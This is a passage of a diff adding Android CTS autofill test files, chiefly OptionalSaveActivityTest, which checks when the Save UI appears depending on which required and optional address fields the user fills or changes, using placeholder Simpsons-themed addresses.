+        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_PLAIN, "108");
+        assertInvisible(saveUi, ID_PASSWORD_MASKED);
+
+        // Buttons
+        assertInvisible(saveUi, ID_SHOW);
+        return mUiBot.assertChildText(saveUi, ID_HIDE, "HIDE");
+    }
+
+    private void assertInvisible(UiObject2 saveUi, String resourceId) {
+        mUiBot.assertGoneByRelativeId(saveUi, resourceId, Timeouts.UI_TIMEOUT);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/OptionalSaveActivityTest.java
new file mode 100644
index 0000000..1e38ae4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/OptionalSaveActivityTest.java
@@ -0,0 +1,775 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.OptionalSaveActivity.ID_ADDRESS1;
+import static android.autofillservice.cts.activities.OptionalSaveActivity.ID_ADDRESS2;
+import static android.autofillservice.cts.activities.OptionalSaveActivity.ID_CITY;
+import static android.autofillservice.cts.activities.OptionalSaveActivity.ID_FAVORITE_COLOR;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.activities.OptionalSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.Visitor;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.Test;
+
+/**
+ * Test case for an activity that contains 4 fields, but the service is only interested in 2-3 of
+ * them for Save:
+ *
+ * <ul>
+ *   <li>Address 1: required
+ *   <li>Address 2: required
+ *   <li>City: optional
+ *   <li>Favorite Color: don't care - LOL
+ * </ul>
+ */
+@AppModeFull(reason = "Service-specific test")
+public class OptionalSaveActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<OptionalSaveActivity> {
+
+    private static final boolean EXPECT_NO_SAVE_UI = false;
+    private static final boolean EXPECT_SAVE_UI = true;
+
+    private OptionalSaveActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<OptionalSaveActivity> getActivityRule() {
+        return new AutofillActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    /**
+     * Creates a standard builder common to all tests.
+     */
+    private CannedFillResponse.Builder newResponseBuilder() {
+        return new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_CITY)
+                .setOptionalSavableIds(ID_ADDRESS2);
+    }
+
+    @Test
+    public void testNoAutofillSaveAll() throws Exception {
+        noAutofillSaveOnChangeTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            mActivity.mCity.setText("Springfield"); // required
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        }, (s) -> {
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
+        });
+    }
+
+    @Test
+    public void testNoAutofillSaveRequiredOnly() throws Exception {
+        noAutofillSaveOnChangeTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mCity.setText("Springfield"); // required
+        }, (s) -> {
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "");
+            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "");
+        });
+    }
+
+    /**
+     * Tests the scenario where the service didn't have any data to autofill, and the user filled
+     * all fields, even the favorite color (LOL).
+     */
+    private void noAutofillSaveOnChangeTest(Runnable changes, Visitor<AssistStructure> assertions)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder().build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert value of fields
+        assertions.visit(saveRequest.structure);
+    }
+
+    @Test
+    public void testNoAutofillFirstRequiredFieldMissing() throws Exception {
+        noAutofillNoChangeNoSaveTest(() -> {
+            // address1 is missing
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            mActivity.mCity.setText("Springfield"); // required
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        });
+    }
+
+    @Test
+    public void testNoAutofillSecondRequiredFieldMissing() throws Exception {
+        noAutofillNoChangeNoSaveTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            // city is missing
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        });
+    }
+
+    /**
+     * Tests the scenario where the service didn't have any data to autofill, and the user filled
+     * didn't fill all required changes.
+     */
+    private void noAutofillNoChangeNoSaveTest(Runnable changes) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder().build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testAutofillAllChangedAllSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+                    mActivity.mAddress2.setText("Simpsons House"); // not required
+                    mActivity.mCity.setText("Springfield"); // required
+                    mActivity.mFavoriteColor.setText("Yellow"); // lol
+                }, (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "742 Evergreen Terrace");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedFirstRequiredSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "742 Evergreen Terrace");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedSecondRequiredSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mCity.setText("Springfield"); // required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "Shelbyville Nuclear Power Plant");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedOptionalSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress2.setText("Simpsons House"); // not required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "Shelbyville Nuclear Power Plant");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    /**
+     * Tests the scenario where the service autofilled the activity but the user changed fields
+     * that triggered Save.
+     */
+    private void autofillAndSaveOnChangeTest(CannedDataset.Builder dataset, Runnable changes,
+            Visitor<AssistStructure> assertions) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder()
+                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mAddress1.requestFocus();
+        });
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Da Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert value of fields
+        assertions.visit(saveRequest.structure);
+    }
+
+    @Test
+    public void testAutofillAllChangedIgnored() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mFavoriteColor.setText("Yellow"); // lol
+                });
+    }
+
+    @Test
+    public void testAutofillAllFirstRequiredChangedToEmpty() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mAddress1.setText("");
+                });
+    }
+
+    @Test
+    public void testAutofillAllSecondRequiredChangedToNull() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mCity.setText(null);
+                });
+    }
+
+    @Test
+    public void testAutofillAllFirstRequiredChangedBackToInitialState() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mAddress1.setText("I'm different");
+                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+                });
+    }
+
+    /**
+     * Tests the scenario where the service autofilled the activity and the user changed fields,
+     * but it did not triggered Save.
+     */
+    private void autofillNoChangeNoSaveTest(CannedDataset.Builder dataset, Runnable changes)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder()
+                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Da Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is not shown.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_oneDatasetAllRequiredFields()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1, ID_ADDRESS2},
+                null,
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenManuallyFilledSameValue_oneDatasetRequiredAndOptionalFields()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[]{ID_ADDRESS1},
+                new String[]{ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_ADDRESS2, "Simpsons House")
+                        .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_multipleDatasetsDataOnFirst()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build(),
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SV"))
+                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_multipleDatasetsDataOnSecond()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+                    mActivity.mAddress2.setText("Shelbyville Bluffs");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build(),
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SV"))
+                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_requiredOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_optionalOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_optionalsOnlyNoRequired()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                null,
+                new String[] {ID_ADDRESS2, ID_CITY},
+                () -> {
+                    mActivity.mCity.setText("Springfield");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .setField(ID_CITY, "Springfield")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserManuallyFilledDifferentValue_requiredOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+                },
+                EXPECT_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserManuallyFilledDifferentValue_optionalOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                null,
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress2.setText("Shelbyville Bluffs");
+                },
+                EXPECT_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    private void saveWhenUserFilledDatasetFields(@Nullable String[] requiredIds,
+            @Nullable String[] optionalIds, @NonNull Runnable changes, boolean expectSaveUi,
+            @NonNull CannedDataset...datasets) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, requiredIds);
+        if (optionalIds != null) {
+            response.setOptionalSavableIds(optionalIds);
+        }
+        for (CannedDataset dataset : datasets) {
+            response.addDataset(dataset);
+        }
+        sReplier.addResponse(response.build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Manually fill it.
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Make sure the snack bar is shown as expected.
+        if (expectSaveUi) {
+            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_ADDRESS);
+        } else {
+            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+        }
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserClearedAutofilledFieldThatIsRequired() throws Exception {
+        // Set service.
+        enableService();
+
+        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+                "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_ADDRESS2, "Simpsons House")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Clear the field.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress2.setText(""));
+
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is not shown.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserClearedAutofilledFieldThatIsOptional() throws Exception {
+        // Set service.
+        enableService();
+
+        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+                "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_ADDRESS2, "Simpsons House")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Clear the field.
+        mActivity.syncRunOnUiThread(() -> mActivity.mCity.setText(""));
+
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        // Finally, assert values.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+                "742 Evergreen Terrace");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+                "Simpsons House");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+                "Yellow");
+    }
+
+    @Test
+    public void testShowUpdateWhenUserChangedOptionalValueFromDatasetAndRequiredNotFromDataset()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Address 2 will be required but not available
+        mActivity.expectAutoFill("742 Evergreen Terrace", null, "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Change required and optional field.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mAddress2.setText("Simpsons House");
+            mActivity.mCity.setText("Shelbyville");
+        });
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        // Finally, assert values.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+                "742 Evergreen Terrace");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+                "Simpsons House");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "Shelbyville");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+                "Yellow");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/PreSimpleSaveActivityTest.java
new file mode 100644
index 0000000..f7a9030
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/PreSimpleSaveActivityTest.java
@@ -0,0 +1,400 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.activities.PreSimpleSaveActivity.ID_PRE_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_STATIC_TEXT;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
